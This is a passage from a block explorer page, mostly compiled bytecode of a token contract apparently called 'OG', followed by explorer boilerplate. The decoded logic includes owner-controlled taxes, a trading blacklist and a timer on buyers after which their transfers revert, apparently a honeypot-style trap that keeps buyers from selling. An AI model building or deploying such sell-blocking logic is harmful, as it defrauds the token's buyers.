60405180910390f35b34801561034a57600080fd5b50610353610ba1565b6040516103609190613084565b60405180910390f35b34801561037557600080fd5b50610390600480360381019061038b919061327e565b610bab565b005b34801561039e57600080fd5b506103b960048036038101906103b491906132be565b610d11565b6040516103c6919061322a565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f191906132eb565b610d31565b005b34801561040457600080fd5b5061041f600480360381019061041a919061332b565b610e08565b005b34801561042d57600080fd5b5061044860048036038101906104439190613358565b610ea6565b604051610455919061322a565b60405180910390f35b34801561046a57600080fd5b50610485600480360381019061048091906132be565b610f5e565b604051610492919061322a565b60405180910390f35b3480156104a757600080fd5b506104b0610f7e565b6040516104bd91906133ba565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e891906131db565b610f87565b6040516104fa919061322a565b60405180910390f35b34801561050f57600080fd5b5061052a600480360381019061052591906133d5565b611033565b005b34801561053857600080fd5b50610553600480360381019061054e91906131db565b611179565b005b34801561056157600080fd5b5061056a611248565b604051610578929190613415565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a3919061332b565b611274565b005b3480156105b657600080fd5b506105d160048036038101906105cc91906132be565b61137d565b6040516105de9190613084565b60405180910390f35b3480156105f357600080fd5b506105fc6113c6565b005b34801561060a57600080fd5b5061061361144e565b604051610620919061322a565b60405180910390f35b34801561063557600080fd5b5061063e61145f565b60405161064b919061344d565b60405180910390f35b34801561066057600080fd5b5061067b600480360381019061067691906132be565b611485565b604051610688919061322a565b60405180910390f35b34801561069d57600080fd5b506106a66114a5565b6040516106b39190613084565b60405180910390f35b3480156106c857600080fd5b506106d16114ab565b6040516106de919061344d565b60405180910390f35b3480156106f357600080fd5b506106fc6114d4565b604051610709919061344d565b60405180910390f35b34801561071e57600080fd5b5061073960048036038101906107349190613468565b6114fa565b005b34801561074757600080fd5b50610750611612565b60405161075d919061312f565b60405180910390f35b34801561077257600080fd5b5061078d600480360381019061078891906131db565b61164f565b60405161079a919061322a565b60405180910390f35b3480156107af57600080fd5b506107b86116fb565b6040516107c5919061344d565b60405180910390f35b3480156107da57600080fd5b506107f560048036038101906107f091906131db565b611721565b604051610802919061322a565b60405180910390f35b34801561081757600080fd5b50610832600480360381019061082d91906132eb565b61173f565b005b34801561084057600080fd5b5061085b6004803603810190610856919061327e565b611816565b005b34801561086957600080fd5b5061087261197c565b604051610880929190613415565b60405180910390f35b34801561089557600080fd5b506108b060048036038101906108ab9190613617565b6119a8565b005b3480156108be57600080fd5b506108d960048036038101906108d4919061303e565b611ab9565b005b3480156108e757600080fd5b5061090260048036038101906108fd9190613673565b611b52565b60405161090f9190613084565b60405180910390f35b34801561092457600080fd5b5061092d611bd9565b60405161093a919061322a565b60405180910390f35b34801561094f57600080fd5b5061096a600480360381019061096591906132be565b611bec565b6040516109779190613084565b60405180910390f35b34801561098c57600080fd5b50610995611c04565b6040516109a29190613084565b60405180910390f35b3480156109b757600080fd5b506109d260048036038101906109cd9190613673565b611c0a565b005b3480156109e057600080fd5b506109fb60048036038101906109f691906132be565b611d0c565b005b348015610a0957600080fd5b50610a246004803603810190610a1f91906132eb565b611e03565b005b348015610a3257600080fd5b50610a3b611eda565b604051610a489190613712565b60405180910390f35b348015610a5d57600080fd5b50610a66611f00565b604051610a739190613084565b60405180910390f35b348015610a8857600080fd5b50610a91611f06565b604051610a9f92919061372d565b60405180910390f35b610ab0611f18565b73ffffffffffffffffffffffffffffffffffffffff16610ace6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610b24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1b906137a2565b60405180910390fd5b806015806101000a81548160ff02191690831515021790555050565b600d5481565b60606040518060400160405280600281526020017f4f47000000000000000000000000000000000000000000000000000000000000815250905090565b6000610b97610b90611f18565b8484611f20565b6001905092915050565b6000600c54905090565b610bb3611f18565b73ffffffffffffffffffffffffffffffffffffffff16610bd16114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610c27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1e906137a2565b60405180910390fd5b60008183610c3591906137f1565b60ff1690506031811115610c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7590613872565b60405180910390fd5b60405180604001604052808460ff1681526020018360ff16815250601260008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a1505050565b60076020528060005260406000206000915054906101000a900460ff1681565b610d39611f18565b73ffffffffffffffffffffffffffffffffffffffff16610d576114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da4906137a2565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e10611f18565b73ffffffffffffffffffffffffffffffffffffffff16610e2e6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7b906137a2565b60405180910390fd5b6009600a610e9291906139c5565b81610e9d9190613a10565b600d8190555050565b6000610eb38484846120e9565b610f5384610ebf611f18565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f09611f18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4e9190613a52565b611f20565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b6000611029610f94611f18565b848460046000610fa2611f18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110249190613a86565b611f20565b6001905092915050565b61103b611f18565b73ffffffffffffffffffffffffffffffffffffffff166110596114ab565b73ffffffffffffffffffffffffffffffffffffffff16146110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a6906137a2565b60405180910390fd5b60006009600a6110bf91906139c5565b6103e86005600c546110d19190613a10565b6110db9190613ae9565b6110e59190613ae9565b90508083101580156110f75750808210155b611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d90613b66565b60405180910390fd5b6009600a61114491906139c5565b8361114f9190613a10565b600e819055506009600a61116391906139c5565b8261116e9190613a10565b600f81905550505050565b611181611f18565b73ffffffffffffffffffffffffffffffffffffffff1661119f6114ab565b73ffffffffffffffffffffffffffffffffffffffff16146111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ec906137a2565b60405180910390fd5b80426112019190613a86565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60128060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b61127c611f18565b73ffffffffffffffffffffffffffffffffffffffff1661129a6114ab565b73ffffffffffffffffffffffffffffffffffffffff16146112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e7906137a2565b60405180910390fd5b80471015611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a90613bd2565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611379573d6000803e3d6000fd5b5050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113ce611f18565b73ffffffffffffffffffffffffffffffffffffffff166113ec6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611442576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611439906137a2565b60405180910390fd5b61144c60006128e3565b565b60158054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611502611f18565b73ffffffffffffffffffffffffffffffffffffffff166115206114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156d906137a2565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8483600a6115a09190613bf2565b856115ab9190613a10565b6040518363ffffffff1660e01b81526004016115c8929190613c3d565b6020604051808303816000875af11580156115e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160b9190613c7b565b5050505050565b60606040518060400160405280600281526020017f4f47000000000000000000000000000000000000000000000000000000000000815250905090565b60006116f161165c611f18565b84846004600061166a611f18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ec9190613a52565b611f20565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061173561172e611f18565b84846120e9565b6001905092915050565b611747611f18565b73ffffffffffffffffffffffffffffffffffffffff166117656114ab565b73ffffffffffffffffffffffffffffffffffffffff16146117bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b2906137a2565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61181e611f18565b73ffffffffffffffffffffffffffffffffffffffff1661183c6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611892576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611889906137a2565b60405180910390fd5b600081836118a091906137f1565b60ff16905060318111156118e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e090613872565b60405180910390fd5b60405180604001604052808460ff1681526020018360ff16815250601360008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a1505050565b60138060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b6119b0611f18565b73ffffffffffffffffffffffffffffffffffffffff166119ce6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1b906137a2565b60405180910390fd5b60005b8251811015611ab4578160076000858481518110611a4857611a47613ca8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611aac90613cd7565b915050611a27565b505050565b611ac1611f18565b73ffffffffffffffffffffffffffffffffffffffff16611adf6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2c906137a2565b60405180910390fd5b80600a60006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900460ff1681565b60086020528060005260406000206000915090505481565b600b5481565b611c12611f18565b73ffffffffffffffffffffffffffffffffffffffff16611c306114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7d906137a2565b60405180910390fd5b81601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611d14611f18565b73ffffffffffffffffffffffffffffffffffffffff16611d326114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f906137a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee90613d91565b60405180910390fd5b611e00816128e3565b50565b611e0b611f18565b73ffffffffffffffffffffffffffffffffffffffff16611e296114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e76906137a2565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60108060000154908060010154905082565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8690613e23565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff590613eb5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120dc9190613084565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214f90613f47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be90613fd9565b60405180910390fd5b6000811161220a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122019061406b565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122ae5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6122ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e4906140d7565b60405180910390fd5b60158054906101000a900460ff1661244357600e54811115806123595750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238f90614169565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661244257600f54816123f68461137d565b6124009190613a86565b1115612441576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612438906141fb565b60405180910390fd5b5b5b600d5461244f3061137d565b1015801561246a5750601560149054906101000a900460ff16155b80156124c45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561250357506124d36114ab565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561254257506125126114ab565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125505761254f6129a7565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461259f9190613a52565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561264f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612822576126af8285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612b7c565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561271a5750600a60009054906101000a900460ff165b1561278d57600b600081548092919061273290613cd7565b9190505550600954426127459190613a86565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612821565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461282057600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421061281f57600080fd5b5b5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128719190613a86565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128d59190613084565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601560146101000a81548160ff02191690831515021790555060006010600101546010600001546129da9190613a86565b90506000811115612b325760006129f082612d98565b905060008260106000015483612a069190613a10565b612a109190613ae9565b905060008360106001015484612a269190613a10565b612a309190613ae9565b90506000821115612ab057601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612aa3573d6000803e3d6000fd5b5060006010600001819055505b6000811115612b2e57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b21573d6000803e3d6000fd5b5060006010600101819055505b5050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a1506000601560146101000a81548160ff021916908315150217905550565b60008060126040518060400160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152505090508215612c185760136040518060400160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152505090505b60006064826000015160ff1687612c2f9190613a10565b612c399190613ae9565b905060006064836020015160ff1688612c529190613a10565b612c5c9190613ae9565b90506000821115612c84578160106000016000828254612c7c9190613a86565b925050819055505b6000811115612caa578060106001016000828254612ca29190613a86565b925050819055505b60008183612cb89190613a86565b905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d099190613a86565b925050819055506000811115612d7f573073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d769190613084565b60405180910390a35b8088612d8b9190613a52565b9450505050509392505050565b6000804790506000600267ffffffffffffffff811115612dbb57612dba6134d4565b5b604051908082528060200260200182016040528015612de95781602001602082028036833780820191505090505b5090503081600081518110612e0157612e00613ca8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612ea8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ecc9190614230565b81600181518110612ee057612edf613ca8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f4730600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611f20565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612fab959493929190614356565b600060405180830381600087803b158015612fc557600080fd5b505af1158015612fd9573d6000803e3d6000fd5b505050508147612fe99190613a52565b92505050919050565b6000604051905090565b600080fd5b600080fd5b60008115159050919050565b61301b81613006565b811461302657600080fd5b50565b60008135905061303881613012565b92915050565b60006020828403121561305457613053612ffc565b5b600061306284828501613029565b91505092915050565b6000819050919050565b61307e8161306b565b82525050565b60006020820190506130996000830184613075565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130d95780820151818401526020810190506130be565b60008484015250505050565b6000601f19601f8301169050919050565b60006131018261309f565b61310b81856130aa565b935061311b8185602086016130bb565b613124816130e5565b840191505092915050565b6000602082019050818103600083015261314981846130f6565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061317c82613151565b9050919050565b61318c81613171565b811461319757600080fd5b50565b6000813590506131a981613183565b92915050565b6131b88161306b565b81146131c357600080fd5b50565b6000813590506131d5816131af565b92915050565b600080604083850312156131f2576131f1612ffc565b5b60006132008582860161319a565b9250506020613211858286016131c6565b9150509250929050565b61322481613006565b82525050565b600060208201905061323f600083018461321b565b92915050565b600060ff82169050919050565b61325b81613245565b811461326657600080fd5b50565b60008135905061327881613252565b92915050565b6000806040838503121561329557613294612ffc565b5b60006132a385828601613269565b92505060206132b485828601613269565b9150509250929050565b6000602082840312156132d4576132d3612ffc565b5b60006132e28482850161319a565b91505092915050565b6000806040838503121561330257613301612ffc565b5b60006133108582860161319a565b925050602061332185828601613029565b9150509250929050565b60006020828403121561334157613340612ffc565b5b600061334f848285016131c6565b91505092915050565b60008060006060848603121561337157613370612ffc565b5b600061337f8682870161319a565b93505060206133908682870161319a565b92505060406133a1868287016131c6565b9150509250925092565b6133b481613245565b82525050565b60006020820190506133cf60008301846133ab565b92915050565b600080604083850312156133ec576133eb612ffc565b5b60006133fa858286016131c6565b925050602061340b858286016131c6565b9150509250929050565b600060408201905061342a60008301856133ab565b61343760208301846133ab565b9392505050565b61344781613171565b82525050565b6000602082019050613462600083018461343e565b92915050565b6000806000806080858703121561348257613481612ffc565b5b60006134908782880161319a565b94505060206134a18782880161319a565b93505060406134b2878288016131c6565b92505060606134c3878288016131c6565b91505092959194509250565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61350c826130e5565b810181811067ffffffffffffffff8211171561352b5761352a6134d4565b5b80604052505050565b600061353e612ff2565b905061354a8282613503565b919050565b600067ffffffffffffffff82111561356a576135696134d4565b5b602082029050602081019050919050565b600080fd5b600061359361358e8461354f565b613534565b905080838252602082019050602084028301858111156135b6576135b561357b565b5b835b818110156135df57806135cb888261319a565b8452602084019350506020810190506135b8565b5050509392505050565b600082601f8301126135fe576135fd6134cf565b5b813561360e848260208601613580565b91505092915050565b6000806040838503121561362e5761362d612ffc565b5b600083013567ffffffffffffffff81111561364c5761364b613001565b5b613658858286016135e9565b925050602061366985828601613029565b9150509250929050565b6000806040838503121561368a57613689612ffc565b5b60006136988582860161319a565b92505060206136a98582860161319a565b9150509250929050565b6000819050919050565b60006136d86136d36136ce84613151565b6136b3565b613151565b9050919050565b60006136ea826136bd565b9050919050565b60006136fc826136df565b9050919050565b61370c816136f1565b82525050565b60006020820190506137276000830184613703565b92915050565b60006040820190506137426000830185613075565b61374f6020830184613075565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061378c6020836130aa565b915061379782613756565b602082019050919050565b600060208201905081810360008301526137bb8161377f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006137fc82613245565b915061380783613245565b9250828201905060ff8111156138205761381f6137c2565b5b92915050565b7f43616e2774207365742074617820746f6f206869676800000000000000000000600082015250565b600061385c6016836130aa565b915061386782613826565b602082019050919050565b6000602082019050818103600083015261388b8161384f565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156138e9578086048111156138c5576138c46137c2565b5b60018516156138d45780820291505b80810290506138e285613892565b94506138a9565b94509492505050565b60008261390257600190506139be565b8161391057600090506139be565b816001811461392657600281146139305761395f565b60019150506139be565b60ff841115613942576139416137c2565b5b8360020a915084821115613959576139586137c2565b5b506139be565b5060208310610133831016604e8410600b84101617156139945782820a90508381111561398f5761398e6137c2565b5b6139be565b6139a1848484600161389f565b925090508184048111156139b8576139b76137c2565b5b81810290505b9392505050565b60006139d08261306b565b91506139db83613245565b9250613a087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846138f2565b905092915050565b6000613a1b8261306b565b9150613a268361306b565b9250828202613a348161306b565b91508282048414831517613a4b57613a4a6137c2565b5b5092915050565b6000613a5d8261306b565b9150613a688361306b565b9250828203905081811115613a8057613a7f6137c2565b5b92915050565b6000613a918261306b565b9150613a9c8361306b565b9250828201905080821115613ab457613ab36137c2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613af48261306b565b9150613aff8361306b565b925082613b0f57613b0e613aba565b5b828204905092915050565b7f496e76616c69642053657474696e677300000000000000000000000000000000600082015250565b6000613b506010836130aa565b9150613b5b82613b1a565b602082019050919050565b60006020820190508181036000830152613b7f81613b43565b9050919050565b7f496e73756666696369656e74204554482062616c616e63650000000000000000600082015250565b6000613bbc6018836130aa565b9150613bc782613b86565b602082019050919050565b60006020820190508181036000830152613beb81613baf565b9050919050565b6000613bfd8261306b565b9150613c088361306b565b9250613c357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846138f2565b905092915050565b6000604082019050613c52600083018561343e565b613c5f6020830184613075565b9392505050565b600081519050613c7581613012565b92915050565b600060208284031215613c9157613c90612ffc565b5b6000613c9f84828501613c66565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613ce28261306b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d1457613d136137c2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613d7b6026836130aa565b9150613d8682613d1f565b604082019050919050565b60006020820190508181036000830152613daa81613d6e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613e0d6024836130aa565b9150613e1882613db1565b604082019050919050565b60006020820190508181036000830152613e3c81613e00565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e9f6022836130aa565b9150613eaa82613e43565b604082019050919050565b60006020820190508181036000830152613ece81613e92565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613f316025836130aa565b9150613f3c82613ed5565b604082019050919050565b60006020820190508181036000830152613f6081613f24565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc36023836130aa565b9150613fce82613f67565b604082019050919050565b60006020820190508181036000830152613ff281613fb6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006140556029836130aa565b915061406082613ff9565b604082019050919050565b6000602082019050818103600083015261408481614048565b9050919050565b7f426c61636b6c69737465642c2063616e27742074726164650000000000000000600082015250565b60006140c16018836130aa565b91506140cc8261408b565b602082019050919050565b600060208201905081810360008301526140f0816140b4565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b60006141536029836130aa565b915061415e826140f7565b604082019050919050565b6000602082019050818103600083015261418281614146565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f57616c6c65742e00000000000000000000000000000000000000000000000000602082015250565b60006141e56027836130aa565b91506141f082614189565b604082019050919050565b60006020820190508181036000830152614214816141d8565b9050919050565b60008151905061422a81613183565b92915050565b60006020828403121561424657614245612ffc565b5b60006142548482850161421b565b91505092915050565b6000819050919050565b600061428261427d6142788461425d565b6136b3565b61306b565b9050919050565b61429281614267565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6142cd81613171565b82525050565b60006142df83836142c4565b60208301905092915050565b6000602082019050919050565b600061430382614298565b61430d81856142a3565b9350614318836142b4565b8060005b8381101561434957815161433088826142d3565b975061433b836142eb565b92505060018101905061431c565b5085935050505092915050565b600060a08201905061436b6000830188613075565b6143786020830187614289565b818103604083015261438a81866142f8565b9050614399606083018561343e565b6143a66080830184613075565b969550505050505056fea2646970667358221220d2b274de745e9af5138e83f14f23e82c0e112380301bb1941aae5a82122da16a64736f6c63430008130033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.